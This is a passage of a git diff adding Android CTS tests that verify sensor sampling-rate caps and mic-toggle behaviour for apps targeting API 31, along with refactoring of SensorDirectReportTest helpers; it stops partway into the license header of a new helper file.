diff --git a/tests/sensor/sensorratepermission/EventConnectionAPI31/src/android/sensorratepermission/cts/eventconnectionapi31/EventConnectionAPI31Test.java b/tests/sensor/sensorratepermission/EventConnectionAPI31/src/android/sensorratepermission/cts/eventconnectionapi31/EventConnectionAPI31Test.java
new file mode 100644
index 0000000..ff909e5
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionAPI31/src/android/sensorratepermission/cts/eventconnectionapi31/EventConnectionAPI31Test.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorratepermission.cts.eventconnectionapi31;
+
+import android.content.Context;
+import android.hardware.Sensor;
+import android.hardware.SensorManager;
+import android.hardware.SensorPrivacyManager;
+import android.hardware.cts.helpers.SensorRatePermissionEventConnectionTestHelper;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEvent;
+import android.os.UserHandle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * Test sampling rates obtained by indirect connections:
+ * - App targets API 31 (w/o having HIGH_SAMPLING_RATE_SENSORS permission)
+ *
+ * Expected behaviors:
+ * - Sampling rate is capped, regardless of the state of the mic toggle
+ */
+@RunWith(Parameterized.class)
+public class EventConnectionAPI31Test {
+    private static final int NUM_EVENTS_COUNT = 1024;
+
+    private static SensorRatePermissionEventConnectionTestHelper mEventConnectionTestHelper;
+    private static SensorPrivacyManager mSensorPrivacyManager;
+    private static TestSensorEnvironment mTestEnvironment;
+    private static int mUserID;
+
+    private final int sensorType;
+
+    public EventConnectionAPI31Test(int sensorType) {
+        this.sensorType = sensorType;
+    }
+
+    @Parameterized.Parameters
+    public static Collection cappedSensorTypeSet() {
+        return SensorRatePermissionEventConnectionTestHelper.CAPPED_SENSOR_TYPE_SET;
+    }
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        SensorManager sensorManager = context.getSystemService(SensorManager.class);
+        Sensor sensor = sensorManager.getDefaultSensor(sensorType);
+        Assume.assumeTrue("Failed to find a sensor!", sensor != null);
+
+        mTestEnvironment = new TestSensorEnvironment(
+                context,
+                sensor,
+                SensorManager.SENSOR_DELAY_FASTEST,
+                (int) TimeUnit.SECONDS.toMicros(5));
+        Assume.assumeTrue("Failed to create mTestEnvironment!", mTestEnvironment != null);
+
+        mEventConnectionTestHelper = new SensorRatePermissionEventConnectionTestHelper(
+                mTestEnvironment);
+        Assume.assumeTrue("Failed to create mEventConnectionTestHelper!",
+                mEventConnectionTestHelper != null);
+
+        mSensorPrivacyManager = context.getSystemService(SensorPrivacyManager.class);
+        mUserID = UserHandle.myUserId();
+    }
+
+    @After
+    public void tearDown() throws InterruptedException {
+        if (mEventConnectionTestHelper != null) {
+            mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        }
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOn() throws InterruptedException {
+        mEventConnectionTestHelper.flipAndAssertMicToggleOn(mUserID, mSensorPrivacyManager);
+
+        List<TestSensorEvent> events = mEventConnectionTestHelper.getSensorEvents(true,
+                NUM_EVENTS_COUNT);
+
+        double obtainedRate = SensorRatePermissionEventConnectionTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mEventConnectionTestHelper.errorWhenExceedCappedRate(),
+                obtainedRate
+                        <= SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOff() throws InterruptedException {
+        mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+
+        List<TestSensorEvent> events = mEventConnectionTestHelper.getSensorEvents(true,
+                NUM_EVENTS_COUNT);
+        double obtainedRate = SensorRatePermissionEventConnectionTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mEventConnectionTestHelper.errorWhenExceedCappedRate(),
+                obtainedRate
+                        <= SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/ReturnedRateInfo/Android.bp b/tests/sensor/sensorratepermission/ReturnedRateInfo/Android.bp
new file mode 100644
index 0000000..8d09aa9
--- /dev/null
+++ b/tests/sensor/sensorratepermission/ReturnedRateInfo/Android.bp
@@ -0,0 +1,52 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSensorRatePermissionReturnedRateInfo",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
diff --git a/tests/sensor/sensorratepermission/ReturnedRateInfo/AndroidManifest.xml b/tests/sensor/sensorratepermission/ReturnedRateInfo/AndroidManifest.xml
new file mode 100644
index 0000000..b70df4f
--- /dev/null
+++ b/tests/sensor/sensorratepermission/ReturnedRateInfo/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts.returnedrateinfo">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+
+    <uses-sdk android:minSdkVersion="31" android:targetSdkVersion="31"/>
+
+    <application android:label="ReturnedRateInfo">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage=
+                         "android.sensorratepermission.cts.returnedrateinfo"
+                     android:label="Returned Rate Info"/>
+</manifest>
diff --git a/tests/sensor/sensorratepermission/ReturnedRateInfo/src/android/sensorratepermission/cts/returnedrateinfo/ReturnedRateInfoTest.java b/tests/sensor/sensorratepermission/ReturnedRateInfo/src/android/sensorratepermission/cts/returnedrateinfo/ReturnedRateInfoTest.java
new file mode 100644
index 0000000..bd5e499
--- /dev/null
+++ b/tests/sensor/sensorratepermission/ReturnedRateInfo/src/android/sensorratepermission/cts/returnedrateinfo/ReturnedRateInfoTest.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorratepermission.cts.returnedrateinfo;
+
+import android.content.Context;
+import android.hardware.Sensor;
+import android.hardware.SensorManager;
+import android.hardware.cts.helpers.SensorRatePermissionDirectReportTestHelper;
+import android.hardware.cts.helpers.SensorRatePermissionEventConnectionTestHelper;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Test output of the following methods when the app targets API level >= S.
+ * - getMinDelay()
+ * - getSensorList()
+ * - getHighestDirectReportRateLevel()
+ */
+@RunWith(Parameterized.class)
+public class ReturnedRateInfoTest {
+    private static SensorManager mSensorManager;
+
+    private final int sensorType;
+
+    public ReturnedRateInfoTest(int sensorType) {
+        this.sensorType = sensorType;
+    }
+
+    @Parameterized.Parameters
+    public static Collection cappedSensorTypeSet() {
+        return SensorRatePermissionEventConnectionTestHelper.CAPPED_SENSOR_TYPE_SET;
+    }
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        mSensorManager = context.getSystemService(SensorManager.class);
+    }
+
+    @Test
+    public void testGetMinDelayMethod() {
+        int cappedMinDelayUs = 1 * 1000 * 1000
+                / SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ;
+
+        Sensor s = mSensorManager.getDefaultSensor(sensorType);
+        if (s == null) {
+            return;
+        }
+        int minDelay = s.getMinDelay();
+
+        Assert.assertTrue("Min delay cannot be smaller than " + cappedMinDelayUs + " (Us)!",
+                minDelay >= cappedMinDelayUs);
+    }
+
+    @Test
+    public void testGetSensorListMethod() {
+        int cappedMinDelayUs = 1 * 1000 * 1000
+                / SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ;
+
+        List<Sensor> allSensorList = mSensorManager.getSensorList(sensorType);
+        if (allSensorList == null) {
+            return;
+        }
+        for (Sensor s : allSensorList) {
+            Assert.assertTrue("Min delay cannot be smaller than " + cappedMinDelayUs + " (Us)!",
+                    s.getMinDelay() >= cappedMinDelayUs);
+        }
+    }
+
+    @Test
+    public void testGetHighestDirectReportRateLevelMethod() {
+        Sensor s = mSensorManager.getDefaultSensor(sensorType);
+        if (s == null) {
+            return;
+        }
+        int obtainedHighestRateLevel = s.getHighestDirectReportRateLevel();
+
+        Assert.assertTrue("Highest direct report rate level cannot be larger than "
+                        + SensorRatePermissionDirectReportTestHelper.CAPPED_DIRECT_REPORT_RATE_LEVEL,
+                obtainedHighestRateLevel
+                        <= SensorRatePermissionDirectReportTestHelper.CAPPED_DIRECT_REPORT_RATE_LEVEL);
+    }
+}
\ No newline at end of file
diff --git a/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java b/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
index 790880b..a036f2b 100644
--- a/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
@@ -94,7 +94,7 @@
     private static final float GYRO_NORM_MAX = 0.1f;
 
     // test constants
-    private static final int REST_PERIOD_BEFORE_TEST_MILLISEC = 3000;
+    public static final int REST_PERIOD_BEFORE_TEST_MILLISEC = 3000;
     private static final int TEST_RUN_TIME_PERIOD_MILLISEC = 5000;
     private static final int ALLOWED_SENSOR_INIT_TIME_MILLISEC = 500;
     private static final int SENSORS_EVENT_SIZE = 104;
@@ -849,10 +849,12 @@
             mChannel.configure(s2, SensorDirectChannel.RATE_STOP);
 
             readSharedMemory(memType, false /*secondary*/);
-            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC / 2, parseEntireBuffer(mBuffer, token1),
-                           type1, rateLevel1);
-            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC / 2, parseEntireBuffer(mBuffer, token2),
-                           type2, rateLevel2);
+            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC / 2,
+                    parseEntireBuffer(token1, mEventPool, mByteBuffer, SHARED_MEMORY_SIZE),
+                    type1, rateLevel1);
+            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC / 2,
+                    parseEntireBuffer(token2, mEventPool, mByteBuffer, SHARED_MEMORY_SIZE),
+                    type2, rateLevel2);
         } finally {
             mChannel.close();
             mChannel = null;
@@ -898,12 +900,12 @@
 
             // check rate
             readSharedMemory(memType1, false /*secondary*/);
-            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC, parseEntireBuffer(mBuffer, token1),
-                           type, rateLevel1);
+            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC, parseEntireBuffer(token1, mEventPool,
+                    mByteBuffer, SHARED_MEMORY_SIZE), type, rateLevel1);
 
             readSharedMemory(memType2, true /*secondary*/);
-            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC, parseEntireBuffer(mBuffer, token2),
-                           type, rateLevel2);
+            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC, parseEntireBuffer(token2, mEventPool,
+                    mByteBuffer, SHARED_MEMORY_SIZE), type, rateLevel2);
         } finally {
             if (mChannel != null) {
                 mChannel.close();
@@ -957,7 +959,8 @@
 
             // check direct report rate
             readSharedMemory(memType, false /*secondary*/);
-            List<DirectReportSensorEvent> events = parseEntireBuffer(mBuffer, token);
+            List<DirectReportSensorEvent> events = parseEntireBuffer(token, mEventPool, mByteBuffer,
+                    SHARED_MEMORY_SIZE);
             checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC, events, type, rateLevel);
 
             // check callback interface rate
@@ -1101,7 +1104,7 @@
         }
     }
 
-    private void waitBeforeStartSensor() {
+    public static void waitBeforeStartSensor() {
         // wait for sensor system to come to a rest after previous test to avoid flakiness.
         try {
             SensorCtsHelper.sleep(REST_PERIOD_BEFORE_TEST_MILLISEC, TimeUnit.MILLISECONDS);
@@ -1156,7 +1159,7 @@
                 }
                 DirectReportSensorEvent e = mEventPool.get();
                 assertNotNull("cannot get event from reserve", e);
-                parseSensorEvent(offset, e);
+                parseSensorEvent(offset, e, mByteBuffer);
 
                 atomicCounter += 1;
                 if (synced) {
@@ -1241,7 +1244,7 @@
                 if (!readSharedMemory(memType, false/*secondary*/, offset, SENSORS_EVENT_SIZE)) {
                     throw new IllegalStateException("cannot read shared memory, type " + memType);
                 }
-                parseSensorEvent(offset, e);
+                parseSensorEvent(offset, e, mByteBuffer);
 
                 atomicCounter += 1;
 
@@ -1374,7 +1377,7 @@
         int nextSerial = 1;
         DirectReportSensorEvent e = getEvent();
         while (offset <= SHARED_MEMORY_SIZE - SENSORS_EVENT_SIZE) {
-            parseSensorEvent(offset, e);
+            parseSensorEvent(offset, e, mByteBuffer);
 
             if (e.serial == 0) {
                 // reaches end of events
@@ -1709,7 +1712,7 @@
         return minMax;
     }
 
-    private static class DirectReportSensorEvent {
+    public static class DirectReportSensorEvent {
         public int size;
         public int token;
         public int type;
@@ -1722,7 +1725,7 @@
     };
 
     // EventPool to avoid allocating too many event objects and hitting GC during test
-    private static class EventPool {
+    public static class EventPool {
         public EventPool(int n) {
             mEvents = Arrays.asList(new DirectReportSensorEvent[n]);
             for (int i = 0; i < n; ++i) {
@@ -1810,14 +1813,15 @@
         }
     };
 
-    private List<DirectReportSensorEvent> parseEntireBuffer(byte[] buffer, int token) {
+    public static List<DirectReportSensorEvent> parseEntireBuffer(int token, EventPool eventPool,
+                ByteBuffer byteBuffer, int sharedMemorySize) {
         int offset = 0;
         int nextSerial = 1;
         List<DirectReportSensorEvent> events = new ArrayList<>();
 
-        while (offset <= SHARED_MEMORY_SIZE - SENSORS_EVENT_SIZE) {
-            DirectReportSensorEvent e = getEvent();
-            parseSensorEvent(offset, e);
+        while (offset <= sharedMemorySize - SENSORS_EVENT_SIZE) {
+            SensorDirectReportTest.DirectReportSensorEvent e = eventPool.get();
+            parseSensorEvent(offset, e, byteBuffer);
 
             if (e.serial == 0) {
                 // reaches end of events
@@ -1840,19 +1844,20 @@
         return events;
     }
 
-    // parse sensors_event_t from mBuffer and fill information into DirectReportSensorEvent
-    private void parseSensorEvent(int offset, DirectReportSensorEvent ev) {
-        mByteBuffer.position(offset);
+    // parse sensors_event_t from byteBuffer and fill information into DirectReportSensorEvent
+    public static void parseSensorEvent(int offset, DirectReportSensorEvent ev,
+            ByteBuffer byteBuffer) {
+        byteBuffer.position(offset);
 
-        ev.size = mByteBuffer.getInt();
-        ev.token = mByteBuffer.getInt();
-        ev.type = mByteBuffer.getInt();
-        ev.serial = ((long) mByteBuffer.getInt()) & 0xFFFFFFFFl; // signed=>unsigned
-        ev.ts = mByteBuffer.getLong();
+        ev.size = byteBuffer.getInt();
+        ev.token = byteBuffer.getInt();
+        ev.type = byteBuffer.getInt();
+        ev.serial = ((long) byteBuffer.getInt()) & 0xFFFFFFFFl; // signed=>unsigned
+        ev.ts = byteBuffer.getLong();
         ev.arrivalTs = SystemClock.elapsedRealtimeNanos();
-        ev.x = mByteBuffer.getFloat();
-        ev.y = mByteBuffer.getFloat();
-        ev.z = mByteBuffer.getFloat();
+        ev.x = byteBuffer.getFloat();
+        ev.y = byteBuffer.getFloat();
+        ev.z = byteBuffer.getFloat();
     }
 
     // parse sensors_event_t and fill information into DirectReportSensorEvent
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index be5d6d7..31650ae 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -22,6 +22,7 @@
 import android.hardware.SensorManager;
 import android.hardware.cts.helpers.SensorCtsHelper;
 import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
 import android.text.TextUtils;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
@@ -94,6 +95,7 @@
         mVrModeHighPerformance = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
     }
 
+    @AppModeFull(reason = "Instant apps cannot have HIGH_SAMPLING_RATE_SENSORS permission.")
     public void testAccelerometerRange() {
         double hifiMaxFrequency = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.N) ?
                 ACCELEROMETER_HIFI_MAX_FREQUENCY :
@@ -112,6 +114,7 @@
                 hifiMaxFrequency);
     }
 
+    @AppModeFull(reason = "Instant apps cannot have HIGH_SAMPLING_RATE_SENSORS permission.")
     public void testGyroscopeRange() {
         double hifiMaxFrequency = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.N) ?
                 GYRO_HIFI_MAX_FREQUENCY :
@@ -135,6 +138,7 @@
                 hifiMaxFrequency);
     }
 
+    @AppModeFull(reason = "Instant apps cannot have HIGH_SAMPLING_RATE_SENSORS permission.")
     public void testMagnetometerRange() {
         checkSensorRangeAndFrequency(
                 Sensor.TYPE_MAGNETIC_FIELD,
@@ -183,7 +187,6 @@
                     sensor.getName(), sensor.getMaximumRange(), range,
                     SensorCtsHelper.getUnitsForSensor(sensor)),
                 sensor.getMaximumRange() >= (range - 0.1));
-
         double actualMaxFrequency = SensorCtsHelper.getFrequency(sensor.getMinDelay(),
                 TimeUnit.MICROSECONDS);
         assertTrue(String.format("%s Max Frequency actual=%.2f expected=%.2fHz",
diff --git a/tests/sensor/src/android/hardware/cts/SingleSensorTests.java b/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
index 1f40188..62bad39 100644
--- a/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
+++ b/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
@@ -174,6 +174,10 @@
         runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_1HZ);
     }
 
+    public void testAccelerometer_automotive() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_25HZ, true);
+    }
+
     public void testAccelUncalibrated_fastest() throws Throwable {
         runSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, SensorManager.SENSOR_DELAY_FASTEST);
     }
@@ -579,12 +583,18 @@
     }
 
     private void runSensorTest(int sensorType, int rateUs) throws Throwable {
+        runSensorTest(sensorType, rateUs, false);
+    }
+
+    private void runSensorTest(int sensorType, int rateUs,
+            boolean isAutomotiveSpecificTest) throws Throwable {
         SensorCtsHelper.sleep(3, TimeUnit.SECONDS);
         TestSensorEnvironment environment = new TestSensorEnvironment(
                 getContext(),
                 sensorType,
                 shouldEmulateSensorUnderLoad(),
-                rateUs);
+                rateUs,
+                isAutomotiveSpecificTest);
         TestSensorOperation op =
                 TestSensorOperation.createOperation(environment, 5, TimeUnit.SECONDS);
         op.addDefaultVerifications();
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionDirectReportTestHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionDirectReportTestHelper.java
new file mode 100644
index 0000000..d39c5a5
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionDirectReportTestHelper.java
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts.helpers;
+
+import android.content.Context;
+import android.hardware.HardwareBuffer;
+import android.hardware.Sensor;
+import android.hardware.SensorDirectChannel;
+import android.hardware.SensorManager;
+import android.hardware.SensorPrivacyManager;
+import android.hardware.cts.SensorDirectReportTest;
+
+import com.android.compatibility.common.util.ShellUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+import com.google.common.collect.ImmutableSet;
+
+import org.junit.Assert;
+import org.junit.Assume;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+/**
+ * A helper class to test sampling rates of direct sensor channels.
+ */
+public class SensorRatePermissionDirectReportTestHelper {
+    public static final int CAPPED_SAMPLE_RATE_HZ = 200;
+    public static final int CAPPED_DIRECT_REPORT_RATE_LEVEL = SensorDirectChannel.RATE_NORMAL;
+    // Set of sensors that are throttled
+    public static final ImmutableSet<Integer> CAPPED_SENSOR_TYPE_SET = ImmutableSet.of(
+            Sensor.TYPE_ACCELEROMETER,
+            Sensor.TYPE_ACCELEROMETER_UNCALIBRATED,
+            Sensor.TYPE_GYROSCOPE,
+            Sensor.TYPE_GYROSCOPE_UNCALIBRATED,
+            Sensor.TYPE_MAGNETIC_FIELD,
+            Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED
+    );
+    public static final int TEST_RUN_TIME_PERIOD_MILLISEC = 1000;
+    public static final int SENSORS_EVENT_SIZE = 104;
+
+    static {
+        System.loadLibrary("cts-sensors-ndk-jni");
+    }
+
+    private final SensorManager mSensorManager;
+
+    private Sensor mSensor;
+
+    public SensorRatePermissionDirectReportTestHelper(Context context, int sensorType) {
+        mSensorManager = context.getSystemService(SensorManager.class);
+        mSensor = null;
+        for (Sensor sensor : mSensorManager.getSensorList(sensorType)) {
+            if (!CAPPED_SENSOR_TYPE_SET.contains(sensor.getType())) {
+                continue;
+            }
+            if (sensor.isDirectChannelTypeSupported(SensorDirectChannel.TYPE_HARDWARE_BUFFER)) {
+                mSensor = sensor;
+                break;
+            }
+        }
+        Assume.assumeTrue("Failed to find a sensor!", mSensor != null);
+    }
+
+    private static native boolean nativeReadHardwareBuffer(HardwareBuffer hardwareBuffer,
+            byte[] buffer, int srcOffset, int destOffset, int count);
+
+    public static double computeAvgRate(List<SensorDirectReportTest.DirectReportSensorEvent> events,
+            long startTimestamp, long endTimestamp) {
+
+        List<SensorDirectReportTest.DirectReportSensorEvent> filteredEvents = events.stream()
+                .filter(event -> event.ts > startTimestamp && event.ts < endTimestamp)
+                .collect(Collectors.toList());
+
+        double rate = Double.MIN_VALUE;
+        int numOfEvents = filteredEvents.size();
+        if (numOfEvents >= 2) {
+            long lastTimestamp = filteredEvents.get(numOfEvents - 1).ts;
+            long firstTimestamp = filteredEvents.get(0).ts;
+            rate = SensorCtsHelper.getFrequency(
+                    (lastTimestamp - firstTimestamp) / (numOfEvents - 1),
+                    TimeUnit.NANOSECONDS);
+        }
+        return rate;
+    }
+
+    public Sensor getSensor() {
+        return mSensor;
+    }
+
+    /**
+     * Error message being shown in Assert statements of unit tests when the sampling rate exceeds
+     * the allowed capped rate.
+     */
+    public String errorWhenExceedCappedRate() {
+        return String.format(
+                "%s: Sampling rate is expected to be less than or equal to %d (Hz)",
+                mSensor.getName(),
+                CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    /**
+     * Error message being shown in Assert statements of unit tests when the sampling rate is below
+     * its expected rate.
+     */
+    public String errorWhenBelowExpectedRate() {
+        return String.format(
+                "%s: Sampling rate is expected to larger than to %d (Hz)",
+                mSensor.getName(),
+                CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    /**
+     * Flip the microphone toggle to off and assert that it is indeed off.
+     */
+    public void flipAndAssertMicToggleOff(int userID, SensorPrivacyManager spm) {
+        ShellUtils.runShellCommand("cmd sensor_privacy disable " + userID + " microphone");
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            Assert.assertTrue("Failed to switch the mic toggle off!",
+                    !spm.isSensorPrivacyEnabled(SensorPrivacyManager.Sensors.MICROPHONE));
+        });
+    }
+
+    /**
+     * Flip the microphone toggle to off and assert that it is indeed on.
+     */
+    public void flipAndAssertMicToggleOn(int userID, SensorPrivacyManager spm) {
+        ShellUtils.runShellCommand("cmd sensor_privacy enable " + userID + " microphone");
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            Assert.assertTrue("Failed to switch the mic toggle on!",
+                    spm.isSensorPrivacyEnabled(SensorPrivacyManager.Sensors.MICROPHONE));
+        });
+    }
+
+    /**
+     * Configure a direct channel and return the sensor data in a DirectReportSensorEvent list.
+     */
+    public List<SensorDirectReportTest.DirectReportSensorEvent> getSensorEvents(int rateLevel)
+            throws InterruptedException {
+        int sensorEventCount = 2000; // 800 Hz * 2.2 * 1s + extra
+        int sharedMemorySize = sensorEventCount * SENSORS_EVENT_SIZE;
+        HardwareBuffer hardwareBuffer = HardwareBuffer.create(
+                sharedMemorySize, 1, HardwareBuffer.BLOB, 1,
+                HardwareBuffer.USAGE_CPU_READ_OFTEN | HardwareBuffer.USAGE_GPU_DATA_BUFFER
+                        | HardwareBuffer.USAGE_SENSOR_DIRECT_DATA);
+
+        SensorDirectChannel channel = mSensorManager.createDirectChannel(hardwareBuffer);
+        int token = channel.configure(mSensor, rateLevel);
+        SensorCtsHelper.sleep(TEST_RUN_TIME_PERIOD_MILLISEC, TimeUnit.MILLISECONDS);
+        channel.configure(mSensor, SensorDirectChannel.RATE_STOP);
+        List<SensorDirectReportTest.DirectReportSensorEvent> events =
+                readEventsFromHardwareBuffer(token, hardwareBuffer, sensorEventCount);
+        channel.close();
+        hardwareBuffer.close();
+        return events;
+    }
+
+    /**
+     * Parse HardwareBuffer to return a list of DirectReportSensorEvents
+     */
+    public List<SensorDirectReportTest.DirectReportSensorEvent> readEventsFromHardwareBuffer(
+            int token, HardwareBuffer hardwareBuffer, int sensorEventCount) {
+        int sharedMemorySize = sensorEventCount * SENSORS_EVENT_SIZE;
+        SensorDirectReportTest.EventPool eventPool = new SensorDirectReportTest.EventPool(
+                10 * sensorEventCount);
+        ByteBuffer byteBuffer = ByteBuffer.allocate(sharedMemorySize);
+        byte[] buffer = byteBuffer.array();
+        byteBuffer.order(ByteOrder.nativeOrder());
+        nativeReadHardwareBuffer(hardwareBuffer, buffer, 0, 0, sharedMemorySize);
+        List<SensorDirectReportTest.DirectReportSensorEvent> events =
+                SensorDirectReportTest.parseEntireBuffer(token, eventPool, byteBuffer,
+                        sharedMemorySize);
+        eventPool.reset();
+        byteBuffer.clear();
+        return events;
+    }
+}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java
new file mode 100644
index 0000000..5094d17
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
